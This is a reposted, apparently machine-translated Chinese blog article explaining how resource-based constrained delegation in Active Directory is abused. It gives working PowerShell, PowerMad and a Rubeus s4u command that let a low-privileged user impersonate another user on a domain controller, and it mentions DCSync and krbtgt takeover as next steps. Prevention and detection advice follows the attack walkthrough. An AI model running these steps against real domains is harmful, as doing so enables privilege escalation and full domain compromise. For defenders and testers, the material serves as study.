[玩转系统] 基于资源的受限委派滥用
作者:精品下载站 日期:2024-12-14 06:16:36 浏览:14 分类:玩电脑
基于资源的受限委派滥用
对于大多数 IT 管理员来说,委派是令人困惑和复杂的。 Active Directory 提供无约束委派、约束委派和基于资源的约束委派 (RBCD)。
这篇博文回顾了为什么基于资源的受限委派比其前身更安全,以及它如何仍然被滥用并用作横向移动和特权升级的手段。具体来说,我们将介绍一个场景,其中攻击者滥用基于资源的约束委派和一些配置不当的 Active Directory 权限在 Active Directory 中创建计算机帐户。
最后,我们提供了攻击步骤的代码以及常见问题解答,其中提供了有关三种类型的 Kerberos 委派的更多信息。
RBCD 基础知识
从 Windows Server 2012 开始,可以在资源或计算机帐户本身上配置基于资源的约束委派。这与其他类型的委派不同,其他类型的委派是在访问资源的帐户上配置的。基于资源的委派由 msDS-AllowedToActOnBehalfOfOtherIdentity 属性控制;它存储可以访问资源的对象的安全描述符。
为什么这个委托模型比它的前身更好?微软是这样说的:“通过支持跨域的约束委派,可以将服务配置为使用约束委派对其他域中的服务器进行身份验证,而不是使用非约束委派。这通过使用现有的 Kerberos 基础设施为跨域服务解决方案提供身份验证支持,而无需信任前端服务来委托给任何服务。”
攻击概述
要执行基于资源的约束委派攻击,对手必须:
- 使用他们可以控制的计算机帐户填充 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
- 了解他们想要访问的对象上的 SPN 集
由于默认情况下所有用户都可以创建 10 个计算机帐户 (MachineAccountQuota),因此这些任务很容易从非特权帐户完成。由于 Active Directory 权限配置不当,攻击者所需的唯一权限是能够在目标计算机上写入属性。
为了实现这一目标并展示快速的概念证明,我们将在以下场景中使用以下工具:
- 由于 Active Directory 权限配置不当,我们已经危害了 Windows 10 主机上的一个非特权帐户,该帐户有权在域控制器上写入 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。
- 我们将使用 PowerMad 创建一个新的计算机帐户(由于默认的 MachineAccountQuota 值而允许)。
- 我们将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性设置为包含我们创建的计算机帐户的安全描述符。
- 我们利用 Rubeus 来滥用基于资源的受限委托。
步骤 1. 检查受感染帐户的访问权限。
首先,让我们看一下攻击者获得访问权限的帐户。 SBPMLABnonadmin 只是一个常规域用户帐户,在其计算机上具有本地管理员权限。下面的屏幕截图显示我们无法使用当前权限 UNC 到 SBPMLAB-DC2 C$管理共享:
使用枚举 Active Directory 中的权限和对象的工具,我们能够发现我们对目标域控制器拥有一些权限。下面的 PowerShell 脚本将识别特定用户 SID 具有完全控制、写入、修改权限或写入属性的任何位置:目标计算机上的 msDS-AllowedToActOnBehalfOfOtherIdentity
步骤 2. 创建一个新的计算机帐户。
现在我们知道我们有能力修改需要填充的属性,我们需要一个我们控制的计算机帐户来执行更新。由于 MachineAccountQuota 值保留为默认值,我们可以使用 PowerMad 创建一个计算机帐户 RBCDMachine,密码为 ThisIsATest:
步骤 3. 允许该帐户代表其他身份进行操作。
现在,我们需要设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性以包含我们创建的计算机帐户的安全描述符,并填充我们拥有权限的 DC 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:
现在我们只需要获取 RBCDMachine 帐户的“ThisIsATest”密码的哈希值:
RBCDMachine 帐户的密码哈希
步骤4.利用Rubeus滥用RBCD。
现在我们已经拥有了使用 Rubeus 滥用基于资源的约束委派所需的一切。回顾一下我们迄今为止收集到的内容:
- 我们想要模拟的用户
- 我们创建的 RBCDMachine$帐户,填充在目标 DC msDS-AllowedToActOnBehalfOfOtherIdentity 属性中
- RBCDMachine$帐户密码的哈希值 (0DE1580972A99A216CED8B058300033F)
- 我们想要访问目标域控制器的 servicePrincipalName
使用此信息,我们可以在 Rubeus 中运行以下命令将票据导入内存:
s4u /用户:RBCDMachine$/rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
我们可以通过klist确认服务票据导入成功。现在我们可以成功导航到域控制器上的 SBPMLAB-DCC$管理共享并列出其内容:
进一步的步骤
获得对目标域控制器上的管理共享的访问权限后,我们可以采取措施确保持久性,甚至进一步提升我们的权限,例如破坏 NTDS.dit 文件。
另一种选择是通过更改 Rubeus 命令中的 msdsspn 参数来请求访问 LDAP 服务,并利用该参数进行 DCSync 攻击并接管 krbtgt 帐户。
以下是 LDAP 服务的缓存票证:
以下是我们在获得 LDAP 访问权限后如何执行 DCSync:
攻击检测和预防
让我们快速回顾一下我们所采取的步骤,以揭示一些防止此类攻击的策略:
- 我们接管了一个能够修改域控制器的“msDS-AllowedToActOnBehalfOfOtherIdentity”属性的帐户。
- 我们利用默认的 MachineAccountQuota 设置创建了一个计算机帐户。
- 我们使用我们创建的计算机帐户填充该属性。
- 我们使用 Rubeus 请求 DC 上 LDAP 服务的票证。
- 我们能够执行 DCSync 来接管 krbtgt 帐户。
预防
如何防止这些事情在您的环境中发生?
- 了解并锁定 Active Directory 权限。 了解谁有权访问 Active Directory 对于保护 Active Directory 至关重要。能够修改计算机对象的属性只是攻击者用来利用您的环境的一种途径。使用 BloodHound 等工具修改组成员资格或重置环境中其他用户的密码的能力同样具有破坏性,并且更容易被利用。查看 Netwrix Active Directory 安全解决方案,了解它如何帮助您确保 AD 的安全配置、识别过多的访问权限和影子管理员,以及实时检测和防止复杂的攻击。
- 确保不应委派的敏感帐户被标记为此类。 将用户放入受保护的用户组或选中“帐户敏感且无法委派”选项将阻止资源受限的委派攻击。
检测
要检测资源受限的委派攻击,您可以执行以下操作:
- 监视非管理员用户创建的计算机帐户。当非管理员用户创建计算机帐户时,属性“mS-DS-CreatorSID”将被填充,因此您可以使用此命令来识别这些帐户:
Get-ADComputer -Properties ms-ds-CreatorSid -Filter {ms-ds-creatorsid -ne "$Null"}
代码
- 确定我们拥有的帐户 ($myaccount) 在目标计算机 ($target) 上的权限:
#Target Machine we want to check permissions on
$target = 'sbpmlab-dc2.sbpmlab.net'
$targetComputer = Get-ADComputer -Filter 'dnshostname -eq $target'
#SID of the account we have control over
$myaccount = Get-ADuser notadmin -Properties sid | select -ExpandProperty sid
#Identify schemaIDGUID of msDS-AllowedToActOnBehalfOfOtherIdentity
$schemaIDGUID = @{}
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(name=ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
#Identify permissions our account has over a target computer
#Specifically Full Control, Write, Modify Permissions or Write Property: msDS-AllowedToActOnBehalfOfOtherIdentity
Import-Module C:ToolsPowerSploitReconPowerView_dev.ps1
$permissions = Get-ObjectAcl $target | ?{$_.SecurityIdentifier -match $myaccount -and (($_.ObjectAceType -match $schemaIDGUID.Keys -and $_.ActiveDirectoryRights -like '*WriteProperty*') -or ($_.ActiveDirectoryRights -like '*GenericAll*' -or $_.ActiveDirectoryRights -like '*GenericWrite*' -or $_.ActiveDirectoryRights -like '*WriteDACL*')) }
$permissions
- 检查域的 MachineAccountQuota 设置并使用 PowerMad 创建计算机帐户:
#Check MachineAccountQuotaValue
Get-ADDomain | Select-Object -ExpandProperty DistinguishedName | Get-ADObject -Properties 'ms-DS-MachineAccountQuota'
#Use PowerMad to leverage MachineAccountQuota and make a new machine that we have control over
Import-Module C:ToolsPowermad-masterPowermad.ps1
$password = ConvertTo-SecureString 'ThisIsAPassword' -AsPlainText -Force
New-MachineAccount -machineaccount RBCDMachine -Password $($password)
- 使用我们创建的新计算机更新 msDS-AllowedToActOnBehalfOfOtherIdentity 属性:
#Set msDS-AllowedToActOnBehalfOfOtherIdentity with our new computer object
Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount RBCDMachine$
Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount
- 获取我们为计算机帐户设置的密码的哈希值:
#Get hash of password we set
import-module C:ToolsDSInternalsDSInternalsDSInternals.psd1
ConvertTo-NTHash $password
- 使用 Rubeus 执行 RBCD 滥用:
C:ToolsGhostPackRubeusRubeusbindebugRubeus.exe s4u /user:RBCDMachine$ /rc4:0DE1580972A99A216CED8B058300033F /impersonateuser:kevinj /msdsspn:cifs/SBPMLAB-DC2.sbpmlab.net /ptt
常问问题
什么是 Kerberos 委托?
Kerberos 委派的实际用途是使应用程序或服务能够代表另一个用户访问不同服务器上托管的资源。
无约束委派如何运作?
无约束的 Kerberos 委派使应用程序或服务能够模拟目标用户以访问任何其他选定的服务。
受限委派如何运作?
约束委派允许您配置帐户可以委派给哪些服务。 S4U2proxy 是 Kerberos 约束委派扩展。
基于资源的受限委派如何工作?
托管服务的资源指定哪些对象可以委托给它,而不是指定哪个对象可以委托给哪个服务。
猜你还喜欢
- 03-30 [玩转系统] 如何用批处理实现关机,注销,重启和锁定计算机
- 02-14 [系统故障] Win10下报错:该文件没有与之关联的应用来执行该操作
- 01-07 [系统问题] Win10--解决锁屏后会断网的问题
- 01-02 [系统技巧] Windows系统如何关闭防火墙保姆式教程,超详细
- 12-15 [玩转系统] 如何在 Windows 10 和 11 上允许多个 RDP 会话
- 12-15 [玩转系统] 查找 Exchange/Microsoft 365 中不活动(未使用)的通讯组列表
- 12-15 [玩转系统] 如何在 Windows 上安装远程服务器管理工具 (RSAT)
- 12-15 [玩转系统] 如何在 Windows 上重置组策略设置
- 12-15 [玩转系统] 如何获取计算机上的本地管理员列表?
- 12-15 [玩转系统] 在 Visual Studio Code 中连接到 MS SQL Server 数据库
- 12-15 [玩转系统] 如何降级 Windows Server 版本或许可证
- 12-15 [玩转系统] 如何允许非管理员用户在 Windows 中启动/停止服务
取消回复欢迎 你 发表评论:
- 精品推荐!
-
- 最新文章
- 热门文章
- 热评文章
[影视] 黑道中人 Alto Knights(2025)剧情 犯罪 历史 电影
[古装剧] [七侠五义][全75集][WEB-MP4/76G][国语无字][1080P][焦恩俊经典]
[实用软件] 虚拟手机号 电话 验证码 注册
[电视剧] 安眠书店/你 第五季 You Season 5 (2025) 【全10集】
[电视剧] 棋士(2025) 4K 1080P【全22集】悬疑 犯罪 王宝强 陈明昊
[软件合集] 25年6月5日 精选软件22个
[软件合集] 25年6月4日 精选软件36个
[短剧] 2025年06月04日 精选+付费短剧推荐33部
[短剧] 2025年06月03日 精选+付费短剧推荐25部
[软件合集] 25年6月3日 精选软件44个
[剧集] [央视][笑傲江湖][2001][DVD-RMVB][高清][40集全]李亚鹏、许晴、苗乙乙
[电视剧] 欢乐颂.5部全 (2016-2024)
[电视剧] [突围] [45集全] [WEB-MP4/每集1.5GB] [国语/内嵌中文字幕] [4K-2160P] [无水印]
[影视] 【稀有资源】香港老片 艺坛照妖镜之96应召名册 (1996)
[剧集] 神经风云(2023)(完结).4K
[剧集] [BT] [TVB] [黑夜彩虹(2003)] [全21集] [粤语中字] [TV-RMVB]
[实用软件] 虚拟手机号 电话 验证码 注册
[资源] B站充电视频合集,包含多位重量级up主,全是大佬真金白银买来的~【99GB】
[影视] 内地绝版高清录像带 [mpg]
[书籍] 古今奇书禁书三教九流资料大合集 猎奇必备珍藏资源PDF版 1.14G
[电视剧] [突围] [45集全] [WEB-MP4/每集1.5GB] [国语/内嵌中文字幕] [4K-2160P] [无水印]
[剧集] [央视][笑傲江湖][2001][DVD-RMVB][高清][40集全]李亚鹏、许晴、苗乙乙
[电影] 美国队长4 4K原盘REMUX 杜比视界 内封简繁英双语字幕 49G
[电影] 死神来了(1-6)大合集!
[软件合集] 25年05月13日 精选软件16个
[精品软件] 25年05月15日 精选软件18个
[绝版资源] 南与北 第1-2季 合集 North and South (1985) /美国/豆瓣: 8.8[1080P][中文字幕]
[软件] 25年05月14日 精选软件57个
[短剧] 2025年05月14日 精选+付费短剧推荐39部
[短剧] 2025年05月15日 精选+付费短剧推荐36部
- 最新评论
-
- 热门tag